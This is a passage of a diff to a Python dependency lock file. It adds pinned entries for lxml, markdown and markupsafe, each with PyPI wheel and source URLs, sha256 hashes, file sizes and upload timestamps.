hash = "sha256:24a8e756c982c001ca8d59e87c80c4d9dcd4d9b44a4cbeb8d9be4482c514d41d", size = 3516913, upload-time = "2025-09-22T04:04:43.602Z" }, + { url = "https://files.pythonhosted.org/packages/0b/11/29d08bc103a62c0eba8016e7ed5aeebbf1e4312e83b0b1648dd203b0e87d/lxml-6.0.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1c06035eafa8404b5cf475bb37a9f6088b0aca288d4ccc9d69389750d5543700", size = 3949829, upload-time = "2025-09-22T04:04:45.608Z" }, + { url = "https://files.pythonhosted.org/packages/12/b3/52ab9a3b31e5ab8238da241baa19eec44d2ab426532441ee607165aebb52/lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c7d13103045de1bdd6fe5d61802565f1a3537d70cd3abf596aa0af62761921ee", size = 4226277, upload-time = "2025-09-22T04:04:47.754Z" }, + { url = "https://files.pythonhosted.org/packages/a0/33/1eaf780c1baad88224611df13b1c2a9dfa460b526cacfe769103ff50d845/lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a3c150a95fbe5ac91de323aa756219ef9cf7fde5a3f00e2281e30f33fa5fa4f", size = 4330433, upload-time = "2025-09-22T04:04:49.907Z" }, + { url = "https://files.pythonhosted.org/packages/7a/c1/27428a2ff348e994ab4f8777d3a0ad510b6b92d37718e5887d2da99952a2/lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60fa43be34f78bebb27812ed90f1925ec99560b0fa1decdb7d12b84d857d31e9", size = 4272119, upload-time = "2025-09-22T04:04:51.801Z" }, + { url = "https://files.pythonhosted.org/packages/f0/d0/3020fa12bcec4ab62f97aab026d57c2f0cfd480a558758d9ca233bb6a79d/lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21c73b476d3cfe836be731225ec3421fa2f048d84f6df6a8e70433dff1376d5a", size = 4417314, upload-time = "2025-09-22T04:04:55.024Z" }, + { url = "https://files.pythonhosted.org/packages/6c/77/d7f491cbc05303ac6801651aabeb262d43f319288c1ea96c66b1d2692ff3/lxml-6.0.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:27220da5be049e936c3aca06f174e8827ca6445a4353a1995584311487fc4e3e", size = 3518768, upload-time = "2025-09-22T04:04:57.097Z" }, +] + +[[package]] +name = "markdown" +version = "3.10.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2b/f4/69fa6ed85ae003c2378ffa8f6d2e3234662abd02c10d216c0ba96081a238/markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950", size = 368805, upload-time = "2026-02-09T14:57:26.942Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/1f/77fa3081e4f66ca3576c896ae5d31c3002ac6607f9747d2e3aa49227e464/markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36", size = 108180, upload-time = "2026-02-09T14:57:25.787Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" }, + { url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" }, + { url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" }, + { url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" }, + { url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" }, + { url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" }, + { url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" }, + { url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" }, + { url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" }, + { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" }, + { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" }, + { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" }, + { url = "https://files.pythonhosted.org/packages/30/ac/0273f6fcb5f42e314c6d8cd99effae6a5354604d461b8d392b5ec9530a54/markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf", size = 22940, upload-time = "2025-09-27T18:36:22.249Z" }, + { url = "https://files.pythonhosted.org/packages/19/ae/31c1be199ef767124c042c6c3e904da327a2f7f0cd63a0337e1eca2967a8/markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f", size = 21887, upload-time = "2025-09-27T18:36:23.535Z" }, + { url = "https://files.pythonhosted.org/packages/b2/76/7edcab99d5349a4532a459e1fe64f0b0467a3365056ae550d3bcf3f79e1e/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a", size = 23692, upload-time = "2025-09-27T18:36:24.823Z" }, + { url = "https://files.pythonhosted.org/packages/a4/28/6e74cdd26d7514849143d69f0bf2399f929c37dc2b31e6829fd2045b2765/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115", size = 21471, upload-time = "2025-09-27T18:36:25.95Z" }, + { url = "https://files.pythonhosted.org/packages/62/7e/a145f36a5c2945673e590850a6f8014318d5577ed7e5920a4b3448e0865d/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a", size = 22923, upload-time = "2025-09-27T18:36:27.109Z" }, + { url = "https://files.pythonhosted.org/packages/0f/62/d9c46a7f5c9adbeeeda52f5b8d802e1094e9717705a645efc71b0913a0a8/markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19", size = 14572, upload-time = "2025-09-27T18:36:28.045Z" }, + { url = "https://files.pythonhosted.org/packages/83/8a/4414c03d3f891739326e1783338e48fb49781cc915b2e0ee052aa490d586/markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01", size = 15077, upload-time = "2025-09-27T18:36:29.025Z" }, + { url = "https://files.pythonhosted.org/packages/35/73/893072b42e6862f319b5207adc9ae06070f095b358655f077f69a35601f0/markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c", size = 13876, upload-time = "2025-09-27T18:36:29.954Z" }, + { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" }, + { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" }, + { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" }, + { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" }, + { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" }, + { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" }, + { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" }, + { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" }, + { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" }, + { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = 